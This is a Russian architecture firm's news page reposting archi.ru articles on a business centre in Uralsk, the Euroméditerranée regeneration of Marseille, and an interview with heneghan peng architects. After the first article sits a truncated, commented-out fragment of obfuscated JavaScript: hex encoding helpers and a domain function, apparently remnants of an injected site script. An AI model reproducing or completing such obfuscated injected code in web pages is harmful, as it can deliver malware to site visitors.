Новости - ООО «Градпроект»

Новости

27.03.2016 Важный и вежливый

В казахском городе Уральск завершено строительство бизнес-центра по проекту UNK project. Он сливается с небом и ведет равный диалог с исторической застройкой города.

Бизнес-центр «Жайкмунай». Постройка, 2015. Фотография © Максим Письменов

Не слишком благоприятная экономическая ситуация заставила всех игроков рынка обратить внимание не только на знаковые и громкие объекты, но и на проекты, которые по своим параметрам могут показаться рядовыми – и между тем именно такие проекты составляют основу городской ткани. Утопический, казалось бы, вопрос: как сделать недорого, просто, но качественно, функционально и привлекательно, совершенно очевидно получает реальные и даже разнообразные ответы. Бюро UNK project предложило свой вариант решения для административных зданий в небольших удаленных городах, построив бизнес-центр «Жайкмунай» в Уральске.

Уральск расположен на границе России и Казахстана и при всей своей кажущейся скромности в прошлом известен как один из значимых центров казачества (именно здесь начиналось пугачевское восстание). А ко второй половине XIX века он стал уже крупным торговым центром. Собственно, невысокая (3, максимум 5 этажей) застройка до сих пор преобладает в центральной части города. Кроме того, здесь сохранились несколько купеческих домов из красного кирпича конца XIX века, и расположены они совсем недалеко от нового бизнес-центра.

Здание площадью чуть более 5 000 м² изначально предназначалось для единственного арендатора: ТОО «Жаикмунай», дочерней фирмы нефтегазовой компании Nostrum Oil & Gas. Габариты и основные характеристики постройки были уже определены проектом местных архитекторов и даже согласованы. Но предложенные решения не отвечали требованиям продвинутого заказчика. Включившись в работу, архитекторы UNK project оказались в непростой ситуации: нужно было скорректировать проект, чтобы он соответствовал бизнес-центрам класса А, не меняя при этом утвержденных показателей и вписав его в довольно патриархальную застройку. «Согласованный объем был сильно завышен и напоминал неуклюжий, неуместный «чемодан», – говорит главный архитектор проекта Юлий Борисов. – Заставить его взаимодействовать с окружающей средой было только частью задачи, в конечном счёте хотелось задать действительно качественный уровень архитектуры, способный повлиять на дальнейшее развитие города. На всё это накладывалась удаленность объекта и отсутствие на месте проверенных рабочих рук, которые ограничивали нас в выборе материалов и технологий: всё должно было быть сделано максимально просто».

«Породнить» здание с окружающей застройкой решили при помощи хорошо знакомого ей материала – кирпича. Причем, несмотря на небольшой бюджет, экономить на основном средстве художественного воздействия не стали, выбрав голландский кирпич ручной формовки. «Уровень здания для меня во многом определяется не объемами и линиями, а тактильными ощущениями, – продолжает Юлий. – Мы внимательно изучили исторические здания Уральска, но не стали даже пытаться имитировать их кладку и детали отделки. Наш кирпич совсем другой, но он также обладает выраженной текстурой, индивидуальностью, теплом, если хотите. За счет этого и возникает необходимый диалог, поддержанный к тому же привычными деталями, такими как пилоны или характерная раскреповка фасада».

Бизнес-центр «Жайкмунай». Постройка, 2015. Фотография © Максим Письменов

Справиться с выбивающимися из общей застройки и не слишком изящными габаритами здания помогли сразу несколько хитростей. Архитекторы выделили в своеобразную «мансарду» расположенный на самом верху VIP-этаж и технические помещения над ним. Благодаря её неожиданному закруглению объем здания усложнился и возникла даже открытая терраса на углу. Всю эту верхнюю часть «зашили» вертикальными ламелями из анодированного алюминия, способного с какой-то момент сливаться с небом, особенно когда оно – светло-серое; поэтому здание кажется ниже. Немаловажно, что и руководство компании получило необходимый уровень визуальной защиты от расположенных довольно близко окон соседних зданий.

Бизнес-центр «Жайкмунай». Постройка, 2015. Фотография © Александр Хохлачев

Основной объём бизнес-центра – пятиэтажный. Но окна второго и третьего, а также четвертого и пятого этажей объединены с помощью по два и на фасаде читается лишь три уровня. Кроме того архитекторы дополнительно раздробили протяженный объем, закрыв алюминиевыми ламелями центральную часть над входом и «укоротили» его, зашив теми же ламелями крайнюю часть стены (за ней расположены санузлы, так что решение еще и вполне функционально). Торцевая стена опять же полностью забрана ламелями – с этой точки здание вообще почти исчезает на фоне неба. Неожиданный изгиб внешней оболочки, за которым скрыт глухой фасад с пожарной лестницей, продолжает «маскировку» – от скучного, вытянутого, громоздкого параллелепипеда не остаётся и следа.

Бизнес-центр «Жайкмунай». Постройка, 2015. Фотография © Максим Письменов

В довершение всего, открытый кирпич и алюминий не должны требовать от владельца и арендатора здания серьезных затрат на обслуживание даже в условиях непростого местного резко-континентального климата с перепадами температур, сильными ветрами, суровыми морозами зимой и невыносимой жарой летом. По убеждению Юлия Борисова эта особенность – также показатель уровня и качества проекта. «У нас хорошо умеют собраться и сделать смелый, яркий, громкий объект, но рядовой, спокойной и качественной застройки почти нет, – говорит он. – В то время как подобные «средние» проекты во всём мире составляют, наверное, 85% работы архитекторов. Особенно это актуально для небольших городов, в которых качественные, современные здания вообще практически отсутствуют. И не надо жаловаться на расстояния, отсутствие грамотных рук, материалов и инфраструктуры, всё это в конечном счёте сводится только к качеству проектирования и грамотному управлению. Продумав на подготовительном этапе все элементы, мы смогли реализовать проект фактически удаленно, делегировав на стройку лишь коллег из технического надзора. И это вполне нормальная рабочая ситуация. Думаю, экономический кризис хорошо «отрезвит» всех игроков рынка, собственно, это уже происходит».

текст: Анна Старостина

Бизнес-центр «Жайкмунай». Постройка, 2015. Фотография © Максим Письменов

Бизнес-центр «Жайкмунай». Постройка, 2015. Фотография © Александр Хохлачев

Бизнес-центр «Жайкмунай». План 1 этажа. Постройка, 2015 © UNK Project

Бизнес-центр «Жайкмунай». План типового этажа. Постройка, 2015 © UNK Project

Источник: www.archi.ru

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "gradproekt33.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

23.03.2016 Большая перемена

С 1995 года в Марселе реализуется один из крупнейших европейских градостроительных проектов – «Евромедитерране», который формирует новый облик средиземноморской метрополии.

Фото: Василий Бабуров

Еще недавно Марсель имел репутацию не слишком привлекательного города, что выглядело странно, учитывая его древность, живописность и яркую самобытность. Для крупной европейской метрополии возрастом 2600 лет в городе непропорционально мало памятников старины, эффектных сооружений и ансамблей. Картину портят множественные шрамы на теле города – результат его противоречивого развития в 1960–70-е годы. «Отягчающим обстоятельством» был также неофициальный статус криминальной столицы Франции, долгие годы портивший реноме Марселя. Небезупречный имидж города отпугивал предпринимателей и представителей креативного класса, которые в наши дни являются движущей силой развития современных мегаполисов.

Однако в середине 1990-х ситуация стала меняться к лучшему, и в последние годы Марсель заметно преобразился. В качестве ориентира и образца была ожидаемо выбрана Барселона, которой удалось довольно быстро стать средиземноморской метрополией №1. Конечно, догнать столицу Каталонии в ближайшие десятилетия немыслимо (у нее слишком много преимуществ перед Марселем), однако отчего ж не воспользоваться успешным опытом?

(Бес)славное Тридцатилетие

Хотя Марсель – один из древнейших городов Европы, его планировочная структура в основном сформировалась во второй половине XIX столетия. После того, как Франция завоевала Северную Африку и расширила свои владения вглубь Черного континента, ее главный порт превратился в крупнейший промышленный центр и второй по величине город страны. При Наполеоне III были проведены масштабные инфраструктурные работы, которые сопровождались возведением импозантных светских и религиозных сооружений и целых ансамблей. Наиболее крупными проектами была пробивка улицы Республики (по методу барона Османа), и музейно-парковый комплекс Лоншан. Поскольку открытая греками бухта (нынешний Старый порт) уже не вмещала крупные суда, порт был перемещен на новое место в район Жольетт, где в открытом море была сооружена «анфилада» обширных гаваней и доков, впоследствии продолженная далеко на север. Там же, буквально через дорогу был возведен кафедральный собор Ла-Мажор в модном в то время романско-византийском стиле, как бы подтверждая статус места как нового центра города. Именно эти репрезентативные сооружения и ансамбли во многом определили известный нам облик Марселя. К началу ХХ века город приобрел четкую структуру: исторический центр, обогнувший подковой старый порт, портово-промышленный север, заселенный рабочим людом, и гористый буржуазный юг с виллами, набережными и уютными бухтами.

Северная часть города. © EPA Euroméditerranée

Разросшись на «дрожжах» французского колониализма, Марсель в полной мере ощутил на себе и последствия распада трансконтинентальной империи. Городская экономика была ввергнута в затяжной кризис, дно которого пришлось на середину ХХ века. В годы Второй мировой войны Марсель лишился внушительной части исторического центра, когда в рамках карательной операции нацисты сравняли с землей кварталы на северной набережной Старого порта.

Развитие города в течение Славного Тридцатилетия (1946–1975) было динамичным, но сумбурным. Обретение колониями независимости привело к массовой миграции их населения во Францию, и многие новоприбывшие осели в крупнейших портах. Наибольший приток иммигрантов пришелся на Марсель: число его жителей увеличилось практически вдвое, усилив нагрузку на успевшую обветшать инфраструктуру и усугубив и без того острый дефицит жилья. Французское государство, игравшее после войны ключевую роль в экономике, традиционно рассматривало второй город страны в качестве крупнейшего промышленного центра. Соответственно, приоритетом правительственной политики было усиление производственной функции. В Фос-сюр-Мер, в устье Роны, расположенном в 50 км от Марселя, был построен новый грузовой порт, который в силу более выгодного положения стал перетягивать на себя морские перевозки и связанные с ними производства (прежде всего, нефтехимическую и тяжелую индустрию). Собственно марсельский порт, строившийся с середины XIX века, стал приходить в запустение, превращаясь в обширную мертвую зону, отрезающую северную половину города от моря.

Микрорайон La Rouvière (1973). Источник фото: http://www.lesechos.fr/22/07/2014/LesEchos/21733-035-ECH_la-rouviere–residence-village-de-marseille.htm

Сам Марсель разросся в обширную агломерацию со спальными районами и спутниками. Поскольку основное строительство было развернуто на периферии, центр и старые кварталы страдали от недостатка внимания. Застройка ветшала, превращаясь в криминогенные трущобы, а модернистская реконструкция кварталов и прокладка автомагистралей «по живому», хотя и решали локальные проблемы, параллельно ускоряли деградацию исторического ядра. В 1960-е годы Марсель обрел сомнительный статус криминальной столицы Франции и главного перевалочного пункта наркотрафика. Серьезный удар по городской экономике нанес энергетический шок 1973 года, который ускорил сворачивание старых производств. Совокупность негативных факторов, включая неэффективный менеджмент, препятствовала трансформации городской экономики, отпугивая бизнес и квалифицированные кадры и подталкивая экономически активное население к переезду в другие регионы.

Осознание ошибок в планировании наступило гораздо позже, в конце 1980-х годов – после смены городского руководства. Чтобы компенсировать исход градообразующих отраслей промышленности (судостроения, контейнерных перевозок и тяжелой индустрии), город начал развивать новые интеллектуальные и высокотехнологичные виды деятельности. Одновременно власти озаботились проблемами качества среды обитания, экологии и, в целом, имиджа Марселя. Результаты смены приоритетов в городской политике стали заметны только к середине 1990-х годов, когда наука, образование, культура, управление, туризм и новые индустрии стали играть более-менее заметную роль в местной экономике.

Новый курс

В 1995 был дан старт масштабной, рассчитанной на несколько десятилетий программе градостроительных преобразований, получившей название Euroméditerranée – «Евромедитерране» (или сокращенно – Euromed). Главная ее цель – преодоление последствий бездумной политики предшествующих десятилетий и болезненной трансформации местной экономики, а также переустройство наиболее проблемных территорий ядра города. Инициатором разработки программы выступила региональная Торгово-промышленная палата, нашедшая поддержку как на городском, так и национальном уровне. Для ее реализации была создана специальная структура – Государственное агентство по планированию и застройке района (Établissement Public d'aménagement Euroméditerranée, EPAEM), а сама программа получила статус «операции национального значения» (Opération d’Intérêt National). В этом же правовом режиме осуществлялись такие известные проекты, как строительство новых городов Франции, а в более локальном масштабе – парижских района Дефанс и парка Ла-Виллетт.

Поскольку Марсель пребывал в довольно скверной форме, было понятно, что одной «акупунктурой» не обойтись. Поэтому, наряду с реализацией многочисленных «точечных» проектов, объектом преобразований стала крупная (по европейским масштабам) территория: общая площадь 1-й фазы Euromed составила 310 га (она объединила «пул» участков к северу от исторического центра между портом на западе и вокзалом Сен-Шарль на востоке). В 2007 она была расширена до 480 га за счет новых участков дальше к северу, которые сформировали фазу 2. По размеру это сопоставимо с территорией ЗИЛ, однако, учитывая, что Марсель примерно в 10 раз меньше Москвы, значение проекта Euroméditerranée для своего города на порядок выше московского. Всего было инвестировано около 7 млрд евро, из которых 5 млрд – из частных источников. Поддержку проекту оказали администрация порта и SNCF (Французские железные дороги), согласившиеся уступить муниципалитету свои земельные участки на взаимовыгодных условиях.

Эпицентром реконструкции стали неблагополучные районы «срединной зоны», охватывающие исторический центр с севера. Глубокие изменения затронули обширный, пришедший в запустение порт XIX века и соседствующие с ним склады, фабрики, трущобы. Кроме того, в проекте уделено внимание многочисленным участкам городской среды, которые долгие годы были выключены из жизни: пустырям, зонам отчуждения железных дорог и отрезкам двух автострад, пробитых через центр города. Помимо масштабного строительства жилья, общественных сооружений и объектов социальной инфраструктуры (музеев, театров, школ, больниц и т.д.), важным элементом проекта Euroméditerranée стало благоустройство «пустот» между зданиями: улиц, площадей и скверов – запоздалая компенсация многолетнего небрежения открытыми пространствами города.

Euroméditerranée в масштабе марсельской агломерации. © EPA Euroméditerranée

Euroméditerranée. Зеленый – фаза 1, красный – фаза 2. © EPA Euroméditerranée

Территория Euroméditerranée. © EPA Euroméditerranée

Программа Euroméditerranée охватила шесть секторов, а также ряд отдельных объектов:
– Вокзал Сен-Шарль вместе с прилегающими территориями
– Близлежащий к нему район Ла-Бель-де-Мэ
– Реновация кварталов вдоль улицы Республики
– Район Жольетт
– Район Аранк, включая зоны Cité de la Méditerranée и Parc Habité
– Промышленные зоны в северном предместье (фаза 2)

Схематический план Euroméditerranée. © EPA Euroméditerranée

Вокзал Сен-Шарль и Ла-Бель-де-Мэ

Одним из первых реновации подвергся вокзал Сен-Шарль: обветшавшее здание XIX века было отреставрировано и расширено по проекту бюро AREP. Реконструкция транспортного узла оказала диффузионный эффект на прилегающие кварталы, которые приводятся в порядок или отстраиваются заново. Самым крупным проектом в привокзальной части города стала реконструкция старой табачной фабрики Ла-Бель-де-Мэ, превращенной в арт-квартал. В одном из корпусов разместился муниципальный архив, в другом – центр медийных технологий, включая телевизионные студии, в которых снимается популярный во Франции сериал «Plus belle la vie». Самое крупное сооружение фабрики – «Ла Фриш» – преобразовано в культурный центр с аудиториями, выставочными залами и подобными помещениями. По соседству выстроено новое здание запасников и мастерских музея MuCEM, которым не нашлось место в недавно открытом комплексе в Старом городе.

Вокзал Сен-Шарль. Реконструкция. Проект бюро AREP. Фото с сайта: http://www.popsu.archi.fr/popsu-europe/marseille/gares-tgv-et-dynamiques-de-renouvellement-urbain

«Ла Фриш» в квартале Ла-Бель-де-Мэ. Фото © We are content(s)

Порт и окрестности

Самые глубокие перемены, впрочем, произошли с территорией порта (точнее, той ее части, что непосредственно примыкает к историческому центру) и сопредельными районами Жольетт и Аранк. Еще недавно порт совмещал пассажирские и грузовые функции, однако обслуживание паромов и круизных лайнеров вытеснило грузоперевозки в его северные гавани. Бум морского туризма, который переживает сегодня Средиземноморье, подталкивает к модернизации наземной инфраструктуры, строительству современных морских вокзалов и реконструкции соседствующих территорий.

На сегодняшний день завершена трансформация трехкилометровой береговой линии, начинающаяся у форта Сен-Жан. К сожалению, о полноценном выходе города к морю в этой части Марселя говорить почти не приходится, так как, несмотря на серьезную модернизацию, порт остался на своем месте, и вместо набережной-променада с пальмами и пляжами приходится лицезреть обнесенные оградой причалы, пакгаузы и терминалы.

Трансформация 3 км берега между фортом Сен-Жан и гаванью Аранк. Арх. И. Льон. © Yves Lion et associés

Единственное исключение составляет обширная эспланада J4, устроенная перед кафедральным собором Ла-Мажор, который прежде ютился на задворках исторического центра, а теперь, наконец, «зазвучал» в полную силу. На J4 выходят и открытые в 2013 году музей MuCEM (проект Руди Риччотти) и Villa Méditerranée (арх. Стефано Боэри), составляющие единый комплекс с фортом Сен-Жан (реновация Ролана Карта), так что для проведения массовых мероприятий пространство подходит идеально.

Эспланада перед MuCEM и Villa Méditerranée. Фото: Василий Бабуров

Марсельский порт. Гавань Жольетт. Фото XIX в.

Эспланада перед кафедральным собором Ла-Мажор. Фото: Василий Бабуров

MuCEM и форт Сен-Жан. Фото: Василий Бабуров

Villa Méditerranée и собор Ла-Мажор. Фото: Василий Бабуров

Cité de la Méditerranée

Реконструкция порта – лишь часть проекта ZAC Cité de la Méditerranée (арх. Ateliers Lion / Atelier Kern / Ilex), который также захватывает широкую полосу застройки и пустырей вдоль берега. Два 1,5-километровых параллельных отрезка автомагистрали А55, проходивших эстакадами вдоль берега, на подходе к центру города были убраны в туннели, а на их месте устроены бульвары (во французском понимании этого слова, т.е. широкие озелененные улицы) Литтораль и Дюнкерк, которые связали Старый порт с кластером небоскребов, строящихся рядом с гаванью Аранк. Трансформация автострады в бульвар повысила капитализацию выходящих на него зданий, многие из которых представляют историческую или культурную ценность. Первым было реконструировано здание доков XIX века (проект Эрика Кастальди) под культурный, торговый и бизнес-центр с офисами класса А.

Euroméditerranée – вид с воздуха. © EPA Euroméditerranée

Зона Cité de la Méditerranée и зона Parc Habité d′Arenc. Схема. Арх. Ateliers Lion / Atelier Kern / Ilex. © Yves Lion

А55 в 1970-е годы. © EPA Euroméditerranée

Бульвар Littoral на месте А55. © EPA Euroméditerranée

Бульвар Littoral на месте А55. Фото: Василий Бабуров

Бульвар Littoral на месте А55. © Yves Lion

Сохраненная часть А55. Фото: Василий Бабуров

Бульвар Дюнкерк. Фото: Василий Бабуров

Центр современного искусства FRAC. Арх. Кенго Кума. Фото: Василий Бабуров

Грузовой двор позади «Марсельских доков». Фото 1970-х гг. © EPA Euroméditerranée

«Марсельские доки». Арх. Э. Кастальди / 5+1AA. Фото: Василий Бабуров

На противоположном, северном «полюсе» зоны Cité de la Méditerranée создается высотный кластер, который станет главной доминантой нового морского фасада города, видимого за многие мили. Старый элеватор Аранк (памятник промышленной архитектуры 1927 года) был реконструирован под театральный центр «Ле Сило» (проект Карта и Кастальди). По соседству Заха Хадид реализовала свой первый высотный объект – штаб-квартиру судоходной компании CMA CGM. В скором времени его одиночество скрасят несколько жилых и офисных башен (проекты Жана Нувеля, Ива Льона и Жана-Баттиста Пьетри) комплекса «Набережные Аранк» (Quais d'Arenc). Между двумя «полюсами» ждет реализации комплекс Euromed Centre (проект Массимилиано Фуксаса), вмещающий дорогой отель, бизнес-центр и мультиплекс.

Театральный центр «Ле Сило». Арх. Р. Карта и Э. Кастальди. Фото: Василий Бабуров

Штаб-квартира CMA CGM. Арх. Заха Хадид. Фото: Василий Бабуров

«Набережные Аранк». Арх. Жан Нувель, Ив Льон и Ж.-Б. Пьетри. © Constructa

Euromed Centre. Арх. Массимилиано Фуксас. © Massimiliano Fuksas

Новый морской фасад Марселя. © Constructa

«Обитаемый парк Аранк», «Свободные доки» и Euromed 2

Заметно, что программа Euroméditerranée перекликается с подобными ей Paris Rive Gauche и Lyon Confluence в Париже и Лионе, соответственно. В данном контексте участие в марсельском проекте Ива Льона, который отвечал за один из участков Rive Gauche, а в Euroméditerranée сыграл одну из ключевых ролей, не выглядит случайным. Свое применение в Марселе нашла и концепция «открытого блока» (îlot ouvert), придуманная Кристианом де Портзампарком и наиболее полно реализованная им в застройке квартала Masséna-Nord. Этот подход использован в двух крупных проектах, соседствующих друг с другом: «Обитаемом парке Аранк» – Parc Habité Arenc (арх. Ив Льон) и «Свободных доках» – Docks Libres (арх. Ролан Карта / Жиль Векслар). В случае «Обитаемого парка», охватывающего 23 городских квартала общей площадью 40 га, задача планировщиков упрощается наличием плотной уличной сетки, которая дополняется по месту сквозными проходами. А вот Карта, работающему с территорией в 23 га, на которой расположен мукомольный завод и квартал социального жилья 1970-х годов, приходится перепланировать ее полностью. Хотя второй проект не входит в Euroméditerranée, программы обоих схожи – создание полноценной городской среды, где доминирующие функции жилья и офисов дополняются торговлей, обслуживанием, а также школами, колледжами, детскими садами и клиниками. Поскольку после реконструкции район из полупериферийного становится центральным, новая застройка имеет высокую плотность и повышенную (по отношению к морфотипам XIX – начала XX века) этажность. Чтобы избежать создания «каменных мешков», дворы, террасы и крыши жилых домов должны быть активно озеленены.

«Обитаемый парк Аранк». Схема. © Yves Lion

«Обитаемый парк Аранк». © Constructa

«Обитаемый парк Аранк». © Yves Lion

«Обитаемый парк Аранк». Квартал Жольетт. Арх. Castro Denissof & Associés. © Castro Denissof & Associés

«Обитаемый парк Аранк». Квартал 5a. Арх. C+T / Rémy Marciano. Фото: Василий Бабуров

«Обитаемый парк Аранк». Квартал M1. Арх. Cabinet MAX Architectes. Фото: Василий Бабуров

«Свободные доки»: элеватор мукомольного завода будет сохранен. Фото: Василий Бабуров

«Свободные доки». Проект планировки. Арх. Р. Карта. © Roland Carta

Проект «Свободных доков» предполагает создание большого парка вдоль русла ручья Эгалад, который протянется в северном направлении по территории товарной станции Кане. Реконструкция грузового двора и сопредельных, преимущественно промышленно-складских территорий (проект планировки разработан Франсуа Леклерком) – «сюжет» второй фазы Euroméditerranée, которая должна быть реализована к 2030 году.

Euromed 2. © EPA Euroméditerranée

Euromed 2. © François Leclercq

Euromed 2. © EPA Euroméditerranée

Euromed 2. Новый парк Эгалад. © François Leclercq

Euromed 2. Блошиный рынок. © François Leclercq

Euromed 2. Блошиный рынок после реконструкции. Арх. Ф.Леклерк. © François Leclercq

На данный момент проект Euromed реализован более, чем наполовину. Несмотря на строительные работы, район активно обживается, привлекая новых жителей и первых туристов. Если сравнивать проект с подобными ему, то, несмотря на внешнюю схожесть, ближайшими его аналогами являются не парижский «Рив гош» или лионский «Конфлуанс», а скорее «Евролилль» в Лилле и «Хафенсити» в Гамбурге, которые в значительной мере изменили облик своих городов или, точнее, добавили к старому новый. Euroméditerranée – это Марсель XXI века.

текст: Василий Бабуров

Новый морской фасад Марселя. © Constructa

Источник: www.archi.ru

20.03.2016 «Ничто не возможно без сопротивления»

Интервью с основателями дублинского бюро heneghan peng о проектировании музейных зданий, в том числе об их Большом Египетском музее в Гизе, участии и победах в международных конкурсах и особенностях работы в России.

Бюро было основано архитекторами Ройшн Хенеган (Róisín Heneghan) и Ши Фу Пэном (Shi-Fu Peng) в 1999 в Нью-Йорке. В 2001 они переместились в Дублин. В конце 2013 heneghan peng architects выиграли международный конкурс на проект нового здания ГЦСИ на Ходынском поле в Москве.

Архи.ру:
– Значительная часть проектов вашего бюро – это музеи (посетительский центр Тропы гигантов в Северной Ирландии, Большой Египетский музей в Гизе, расширение Национальной галереи Ирландии в Дублине, Палестинский музей на Западном берегу Иордана). Это подразумевает необходимость взаимодействия с экспонатами – внутри и/или снаружи спроектированных вами зданий. Каким должно быть отношение между архитектурой и экспонированием артефактов или природных достопримечательностей?

Ройшн Хенеган:
– Мне кажется, архитектура должна создавать условия для того, чтобы выставляемые объекты могли быть увидены и оценены. Однако никому не интересна «белая коробка», кураторы и художники ищут интересное пространство. Нам кажется, что архитектура не должны быть совершенно пресной, необязательно все красить в белый цвет. Выставочное пространство может иметь свои особенные черты, иногда это помогает лучше подготовить выставку за счет того, что художнику есть, с чем работать. Вспомните Арсенал на Венецианской биеннале. Он никогда не задумывался как музей, но он стал прекрасном выставочным пространством, обладающим собственной пространственной силой, благодаря которой там приятно находиться.

Иногда нам кажется, что площадки, у которых нет характеристик – самые трудные объекты, потому что, работая с ними, не от чего оттолкнуться. Здорово, когда на площадке есть что-то сложное – как тот торговый центр в Москве. Он не отличается красотой, но он задал контекст для работы [имеется в виду ТЦ «Авиапарк» на Ходынском поле, рядом с местом строительства ГЦСИ – прим. Архи.ру].

Посетительский центр Тропы гигантов в Северной Ирландии © Marie-Louise Halpenny

– Ты упомянула, что можно «отталкиваться от среды» (working against) и «работать со средой» (working with). Который из этих подходов вы используете, когда строите поблизости от объектов Всемирного наследия? Как найти компромисс между прошлым и современностью?

Ройшн Хенеган:
– Мы работали с несколькими объектами Всемирного наследия ЮНЕСКО, причем как с историческими (пирамиды в Гизе или Гринвич), так и с природными памятниками (Тропа гигантов в Северной Ирландии и долина Рейна в Германии). Объекты Всемирного наследия считаются выдающимися образцами культуры и исключительными местами. То есть архитектор просто обязан обращать на них внимание. Но мы должны руководствоваться этим принципом всегда: мы должны быть внимательны к среде, для которой мы проектируем. Нет причин не строить современные здания в исторических местах. Посмотрите на Гринвич, где мы только что закончили строительство здания Школы архитектуры. Там есть Квинс-хаус Иниго Джонса и постройки Кристофера Рена XVII века, памятники истории и архитектуры, но в момент своего возведения все они были современными постройками.

Посетительский центр Тропы гигантов в Северной Ирландии © Marie-Louise Halpenny

– Ставите ли вы перед собой задачу создания «иконических», знаковых зданий?

Ши-Фу Пэн:
– Мы не верим в музеи-символы, музеи-иконы. Я всегда говорил, что в мире символов нет символов. Наступает пресыщение символами, когда один перестает быть отличим от другого. Есть достаточно талантливых архитекторов, создающих яркие узнаваемые здания, здания-логотипы. Нет нужды заниматься тем же, к тому же мы не сильны в проектировании подобных зданий. Мы верим, что здание и его архитектурное качество не должны быть центром музея.

Например, наш проект Большого Египетского музея основан на вписывании конуса в композицию трех пирамид Гизы. Музей посвящен пирамидам. Если убрать пирамиды, спроектированное нами треугольное здание будет выглядеть глупо и бессмысленно. Иконичность этого проекта заключается в двухкилометровой дистанции между музеем и пирамидами.

Подобно археологам, мы раскрываем то, что уже существует. Мы помогаем людям лучше увидеть архитектурные объекты и ландшафт. Наш подход созвучен Мишелю Фуко, который не изобретал ничего нового, а лишь обнажал те условия, которые существуют в обществе в определенное время.

Другая говорящая деталь проекта Египетского музея заключается в его расположении на краю пустынного плато. Получается, что музей не более чем обрыв скалы. Заказчик очень грамотно выбрал площадку на стыке геологических структур. Сконструированная нами светопроницаемая каменная стена – это символическое выражение ландшафта, который разделяет горы и пустыню, или жизнь и смерть.

Большой Египетский музей в Гизе © heneghan peng architects

– К слову о Большом Египетском музее, почему его проектирование оказалось таким затяжным процессом? На какой стадии находится реализация этого проекта сегодня?

Ройшн Хенеган:
– Мы выиграли конкурс в 2003, а закончили проектирование музея в 2008. После этого мы долго дискутировали с египетским Министерством культуры, и строительство началось в 2012. Нынешняя ориентировочная дата завершения строительства – 2018 год. Если посмотреть на стройплощадку с помощью Google Earth, можно найти довольно свежее фото нашего проекта, увидеть бетонную крышу, уже возведенную на некоторых участках.

– Связано ли замедление строительства музея с Арабской весной и, в частности, с переменами в правительстве Египта?

Ройшн Хенеган:
– В какой-то степени наше участие в проекте практически прекратилось в 2008, поэтому я не могу сказать, какое влияние политические изменения в Египте оказали на реализацию. Определенно, последствия были, поскольку на смену предыдущей министерской команде, курировавшей работу по возведению музея, пришли новые люди, и некоторые из них не понимали идею нашего проекта.

Большой Египетский музей в Гизе © heneghan peng architects

– Как вы ведете авторский надзор над процессом строительства Большого Египетского музея – если вы в принципе производите такой надзор?

Ройшн Хенеган:
– Мы не занимаемся надзором, мы лишь отвечаем на вопросы, касающиеся изменений в проекте. Честно говоря, мы не играем той роли, которую нам бы хотелось играть. Так, были утверждены некоторые неудачные изменения в проекте, которые уже не исправить.

– Ройшн, в твоей лекции на конференции TED ты описала сложные тесты для материалов, которые использовались при строительстве Большого Египетского музея и посетительского центра Тропы гигантов. Как вы выбирали материал для Палестинского музея и нового здания Государственного центра современного искусства в Москве?

Ройшн Хенеган:
– В той речи я останавливаюсь на музее в Гизе и на центре для посетителей Тропы гигантов в Северной Ирландии, поскольку в этих двух случаях камень был использован сложным, нетипичным способом, для которого его не тестировали раньше. Именно поэтому нам было необходимо провести собственные эксперименты. В Палестинском музее мы используем известняк, традиционный для этого региона материал. Что касается нового ГЦСИ, его сложность заключается в структуре, а не в материале.

– Ожидается, что ваш музей станет первым энергоэффективным зданием в Палестине. Затрудняло ли работу над проектом отсутствие там опыта возведения «зеленых» зданий?

Ройшн Хенеган:
– Иногда в процессе строительства было сложно придерживаться уровня качества, необходимого для стандартов энергоэффективности. Возведение энергоэффективного здания отличается от простого строительства. Например, установка окон с терморазрывом не является обязательным этапом строительства, но это совершенно необходимо для достижения энергоэффективности.

Проект моста Миттельрайнбрюке через Рейн близ Санкт-Гоара © heneghan peng architects

– Вы выиграли несколько архитектурных конкурсов на строительство мостов, включая строительство мостов в лондонском Олимпийском парке и моста Миттельрайнбрюке через Рейн близ Санкт-Гоара. Как вы обычно работаете с этим типом объектов?

Ши-Фу Пэн:
– Раньше мосты всегда возводились инженерами, и при этом имело ключевое значение инженерное проектирование, а не архитектурное решение. Это неудивительно: зачастую полотно моста имеет длину в несколько сотен метров и поддерживается только двумя опорами. Архитектор не может немного переместить опору в соответствии со своим замыслом, иначе мост рухнет. Когда мы занимаемся мостами, мы начинаем сотрудничать с инженерами на очень ранней стадии проекта.

В последнее время городская среда, в которой мы живем, стала крайне важна, а мосты существуют именно в ней. Городские мосты не могут быть сугубо инженерными объектами, им также необходимо быть воплощением архитектурного замысла.

Удивительно, но работая с мостами, нам совершенно не интересен мост сам по себе, потому что городские мосты обычно довольно короткие. Настоящая загвоздка состоит в том, как «приземлить» мост, как соединить его с городским ландшафтом. Как только архитектор завершил вписывание моста в ландшафт, считай, вся работа сделана – любой может спроектировать мост. Планируя городские мосты, мы начинаем с анализа городского ландшафта: в каких условиях предстоит существовать мосту, какие транспортные и человеческие потоки идут по нему и вокруг него. Наши представления о строительстве мостов не всегда правильные. Мы проигрываем чаще, чем выигрываем, но это наш типичный образ мысли в отношении мостов как объектов городской среды.

Мосты в лондонском Олимпийском парке © Hufton + Crow

– Как вы обычно выбираете конкурсы, в которых будете участвовать?

Ройшн Хенеган:
– Мы смотрим на жюри. Затем мы спрашиваем себя, интересен ли нам проект и подходит ли нам его масштаб. Кроме того, мы обязательно обращаем внимание на объем работы, который необходимо выполнить для участия в конкурсе. Если ты участвуешь в большом открытом конкурсе, то стараешься не вдаваться в излишние детали сразу же.

Для участия в конкурсе на проектирование Большого Египетского музея от нас изначально требовалось предоставить пять планшетов А3. Это был посильный объем работы. Затем было отобрано двадцать лучших проектов, и работы стало значительно больше. Конкурс на проектирование центра для посетителей Тропы гигантов также был совершенно открытым и в качестве заявки предполагал подготовку трех А1. В проекте нового ГЦСИ был этап отбора по портфолио, после которого к участию было приглашено двадцать претендентов.

– Как вы работаете в незнакомой среде?

Ройшн Хенеган:
